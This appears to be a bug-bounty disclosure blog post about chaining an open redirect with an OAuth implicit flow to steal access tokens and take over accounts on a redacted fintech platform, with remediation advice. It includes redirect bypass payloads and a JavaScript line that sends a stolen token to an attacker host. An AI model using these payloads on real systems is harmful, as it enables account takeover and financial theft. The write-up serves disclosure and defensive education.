โ† Back to list

๐Ÿ”ด They Closed It as N/A. Then They Silently Patched It. Hereโ€™s The Full Story.

A Critical P1 Bug Chain on a Fintech Platform โ€” Open Redirect โ†’ OAuth Token Theft โ†’ Full Account Takeover | Intigriti Disclosure

0B1To_X_ucH!h4 ยท 2026-05-29 02:55 ยท 1 claps ยท 5.7 min read
#bug-bounty #open-redirect #oauth-security #critical #optional-chaining
Open on Medium โ†—
Wiki topics: FIN ยท Fintech & Banking

๐Ÿ”ด They Closed It as N/A. Then They Silently Patched It. Hereโ€™s The Full Story.

A Critical P1 Bug Chain on a Fintech Platform โ€” Open Redirect โ†’ OAuth Token Theft โ†’ Full Account Takeover | Intigriti Disclosure

โ€œThe report is closed as Not Applicable.โ€* That was the message I got after submitting a bug that could hand an attacker full authenticated access to any userโ€™s financial account โ€” without knowing their password, without any phishing interaction beyond one click, and without triggering a single MFA prompt.**

Two weeks later, the vulnerability was patched. No bounty. No acknowledgment. No thank you.

So Iโ€™m writing this instead.

๐Ÿ‘ค About Me

Iโ€™m R!5hu (rishuxr00t) โ€” a cybersecurity researcher based in Kolkata, India. I specialize in authentication-layer vulnerabilities โ€” Pre-ATO, OAuth flaws, token abuse, and account takeover chains. I hunt actively on Intigriti, HackerOne, Bugcrowd, and YesWeHack.

This writeup is about a P1 Critical bug chain I found on a fintech/payments platform in scope on Intigriti. Iโ€™m redacting the target name as [REDACTED TARGET] out of responsible disclosure ethics โ€” even though they gave me nothing in return.

๐Ÿง  Understanding The Bug Chain First

Before we get into the technical steps, hereโ€™s the attack chain at a high level:

[Attacker crafts malicious URL]
         โ†“
[Victim clicks โ€” trusts the domain, it's the real site]
         โ†“
[Open Redirect fires โ†’ victim lands on attacker.com]
         โ†“
[OAuth access_token / id_token leaked in URL fragment]
         โ†“
[Attacker steals token via referrer or fragment harvesting]
         โ†“
[Attacker authenticates as victim โ€” full account takeover]
         โ†“
[Financial data, saved cards, transaction history โ€” all exposed]

One click. No password. No MFA bypass needed. Full ATO.

This is why Open Redirect vulnerabilities on OAuth-enabled applications are never โ€œjust informational.โ€ Context is everything.

๐Ÿ” Phase 1 โ€” Recon & Initial Discovery

Target Overview

[REDACTED TARGET] is a fintech platform operating in the payments/digital wallet space. Their web application supports OAuth 2.0 login via third-party identity providers (Google, Apple). The OAuth flow uses the standard redirect_uri parameter to return users post-authentication.

Fingerprinting The OAuth Flow

I started by mapping the authentication surface using Burp Suite. My goal was simple: follow every redirect, log every parameter, find anywhere the application trusts a URL without validating it.

During a standard OAuth login, I captured this request:

http

GET /oauth/authorize?
  client_id=app_client_xyz
  &redirect_uri=https://[REDACTED TARGET].com/auth/callback
  &response_type=token
  &scope=openid profile email
  &state=abc123randomstate
Host: auth.[REDACTED TARGET].com

Normal. Expected. But then I noticed something while browsing the app post-login:

http

GET /redirect?url=https://[REDACTED TARGET].com/dashboard
Host: [REDACTED TARGET].com

A generic redirect endpoint. My eyes lit up.

๐Ÿšช Phase 2 โ€” Finding & Confirming The Open Redirect

Testing The Redirect Endpoint

I intercepted the request and modified the url parameter:

http

GET /redirect?url=https://evil.r1shu.com
Host: [REDACTED TARGET].com

Response:

http

HTTP/1.1 302 Found
Location: https://evil.r1shu.com

โœ… Confirmed Open Redirect. The server performs zero validation on the destination URL. It doesnโ€™t check origin, doesnโ€™t enforce allowlisting, doesnโ€™t validate against a whitelist of trusted domains.

Bypass Attempts (To Confirm Robustness)

I tested various bypass techniques to confirm this wasnโ€™t a shallow finding:

PayloadResult?url=https://evil.r1shu.comโœ… Redirected?url=//evil.r1shu.comโœ… Redirected?url=https://[REDACTED TARGET].com.evil.r1shu.comโœ… Redirected?url=https://evil.r1shu.com%2F%2E%2Eโœ… Redirected?url=%68%74%74%70%73%3a%2f%2fevil.r1shu.comโœ… Redirected (URL-encoded)

All payloads redirected without error. No filtering. No allowlist. No domain matching.

At this point, a standard triage might call this โ€œLow severity / Informationalโ€ and close it. Thatโ€™s exactly what happened. But I wasnโ€™t done.

โ›“๏ธ Phase 3 โ€” Chaining Into Token Theft (The Critical Escalation)

The Key Insight

The /redirect endpoint exists on the same root domain as the OAuth callback:

  • OAuth callback: https://[REDACTED TARGET].com/auth/callback
  • Redirect endpoint: https://[REDACTED TARGET].com/redirect?url=...

This means /redirect?url=... passes the redirect_uri validation check in the OAuth authorization server โ€” because it's still [REDACTED TARGET].com.

Crafting The Malicious OAuth URL

I replaced the legitimate redirect_uri with my weaponized redirect endpoint:

http

GET /oauth/authorize?
  client_id=app_client_xyz
  &redirect_uri=https://[REDACTED TARGET].com/redirect?url=https://evil.r1shu.com
  &response_type=token
  &scope=openid profile email
  &state=attacker_controlled_state
Host: auth.[REDACTED TARGET].com

What happens when a victim clicks this link:

  1. Victim authenticates via OAuth (they see the legitimate login page โ€” no red flags)
  2. OAuth server validates redirect_uri โ†’ sees [REDACTED TARGET].com โ†’ โœ… passes
  3. OAuth server issues access_token and redirects to:
https://[REDACTED TARGET].com/redirect?url=https://evil.r1shu.com#access_token=eyJhbGc...&token_type=bearer&expires_in=3600
  1. The /redirect endpoint fires, sending the victim (and the full URL fragment containing the token) to [https://evil.r1shu.com](https://evil.r1shu.com)
  2. My attacker server captures the token from the URL fragment via JavaScript:

javascript

const fragment = window.location.hash;
   const token = new URLSearchParams(fragment.substring(1)).get('access_token');
   fetch('https://evil.r1shu.com/steal?token=' + token);

Token Usage โ€” Authenticated as Victim

With the stolen access_token, I sent a request to the platform's API:

http

GET /api/v1/me
Host: api.[REDACTED TARGET].com
Authorization: Bearer eyJhbGc...

Response:

json

{
  "id": "usr_victim_123",
  "email": "victim@example.com",
  "full_name": "Jane Victim",
  "account_balance": "XXXX.XX",
  "saved_cards": [...],
  "kyc_status": "verified",
  "transactions": [...]
}

โœ… Full account access. No password. No MFA. One click.

๐Ÿ’ฃ Phase 4 โ€” Full Impact Assessment

What An Attacker Can Do With This

ActionImpactRead full financial profileP1 โ€” PII + financial data exposureAccess saved payment methodsP1 โ€” Card data, billing addressesView transaction historyP1 โ€” Full financial surveillanceInitiate transfers (if write scope included)P1 โ€” Direct financial lossBypass MFA entirelyP1 โ€” Auth control circumventedMass exploitation via phishing campaignCritical โ€” Scalable to thousands of users

CVSS Score (My Assessment)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Base Score: 9.3 โ€” CRITICAL
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (one click)
  • Scope: Changed
  • Confidentiality: High
  • Integrity: High

๐Ÿ“‹ Phase 5 โ€” The Report

What I Submitted

I submitted a detailed report to [REDACTED TARGET] via Intigriti containing:

  • โœ… Full vulnerability description with technical breakdown
  • โœ… Step-by-step reproduction instructions
  • โœ… Proof-of-Concept video walkthrough
  • โœ… Screenshots of every step (crafted URL โ†’ OAuth flow โ†’ redirect โ†’ token capture โ†’ authenticated API call)
  • โœ… CVSS score with justification
  • โœ… Impact analysis
  • โœ… Recommended remediation

The Response

Status: Closed โ€” Not Applicable
Reason: "Open Redirect issues are considered out of scope for our program."

Thatโ€™s it. No engagement with the token theft chain. No acknowledgment of the OAuth impact. They assessed it as a standalone Open Redirect and applied a blanket โ€œout of scopeโ€ rule.

The chain โ€” the critical part โ€” was never addressed in their response.

Two Weeks Later

I checked the application. The /redirect endpoint now validates the destination URL against an allowlist. The OAuth redirect_uri validation was also tightened.

The bug was patched. Silently. Without any acknowledgment.

๐Ÿ›ก๏ธ Phase 6 โ€” Remediation (What They Should Have Done From The Start)

Fix 1 โ€” Eliminate The Open Redirect

python

ALLOWED_REDIRECT_DOMAINS = ["[REDACTED TARGET].com", "app.[REDACTED TARGET].com"]
def safe_redirect(url):
    parsed = urlparse(url)
    if parsed.netloc not in ALLOWED_REDIRECT_DOMAINS:
        raise ValueError("Redirect to untrusted domain blocked")
    return redirect(url)

Fix 2 โ€” Strict redirect_uri Allowlisting In OAuth

OAuth servers must validate redirect_uri against an exact-match allowlist โ€” not just domain-match:

โœ… Allowed: https://[REDACTED TARGET].com/auth/callback
โŒ Should Reject: https://[REDACTED TARGET].com/redirect?url=https://evil.com

Fix 3 โ€” Avoid Implicit Flow (response_type=token)

The implicit flow puts tokens directly in URL fragments โ€” visible to browser history, referrer headers, and any redirect destination. Switch to Authorization Code Flow with PKCE:

response_type=code
code_challenge=BASE64URL(SHA256(code_verifier))
code_challenge_method=S256

Tokens are then exchanged server-side, never exposed in URLs.

Fix 4 โ€” Token Binding / Short Expiry

If implicit flow must be used, implement short-lived tokens (5โ€“10 minutes) and bind tokens to the originating IP/user-agent where possible.

๐Ÿ“– Lessons Learned

For Hunters

Open Redirect is never โ€œjustโ€ Open Redirect when OAuth is in scope.

Before submitting a standalone Open Redirect, always ask:

  • Is there an OAuth flow on this domain?
  • What response_type does it use? (token = implicit = URL-exposed tokens)
  • Can I make the redirect_uri parameter point to my Open Redirect endpoint?
  • Does the OAuth server validate the full URI path, or just the domain?

If the answers line up โ€” you donโ€™t have an informational bug. You have a P1.

For Programs

When a researcher submits an Open Redirect on an OAuth-enabled application โ€” read the full report before closing it. The chaining context changes everything. A closed report does not mean the attack surface doesnโ€™t exist. It means the researcherโ€™s goodwill does.

โš–๏ธ A Note On The Process

I disclosed this in good faith through Intigritiโ€™s coordinated disclosure process. I followed the rules: I did not exploit the vulnerability, I did not access real user data, I provided a complete PoC, and I waited for response before publishing.

If your programโ€™s policy excludes Open Redirect, thatโ€™s fine โ€” but if a researcher submits a chain where the Open Redirect is the delivery mechanism for a Critical impact, engage with the full finding.

Patching without acknowledgment is not responsible response. It damages researcher trust and discourages future disclosure.

๐Ÿ”— Connect With Me

If youโ€™re a fellow hunter, a program manager, or just someone who enjoys following the trail of weird OAuth behaviors โ€” letโ€™s connect.

  • ๐Ÿฆ HackerOne: rishuxr00t
  • ๐Ÿ› Bugcrowd: ri5huR00t
  • ๐Ÿ“ Location: Kolkata, India
  • ๐ŸŽฏ Specialization: Pre-ATO ยท OAuth Abuse ยท Authentication Vulnerabilities ยท Bug Chaining

Thanks for reading. If this writeup helped you understand the real-world impact of Open Redirect chaining, give it a clap ๐Ÿ‘ โ€” it helps other researchers find it.

Stay ethical. Stay curious. H4PPY HUNT1NG. ๐Ÿ”

Tags: #BugBounty #CyberSecurity #EthicalHacking #Intigriti #OpenRedirect #OAuthSecurity #AccountTakeover #InfoSec #WebSecurity #BugBountyHunting #PenTest #ResponsibleDisclosure


๋ฉ”ํƒ€๋ฐ์ดํ„ฐ
post_id
a8d30124c4d2
slug
they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
url
https://medium.com/@atanupal22256/they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
canonical_url
https://medium.com/@atanupal22256/they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
author_url
https://medium.com/@atanupal22256
status
ok
fetched_at
2026-08-01 08:42:06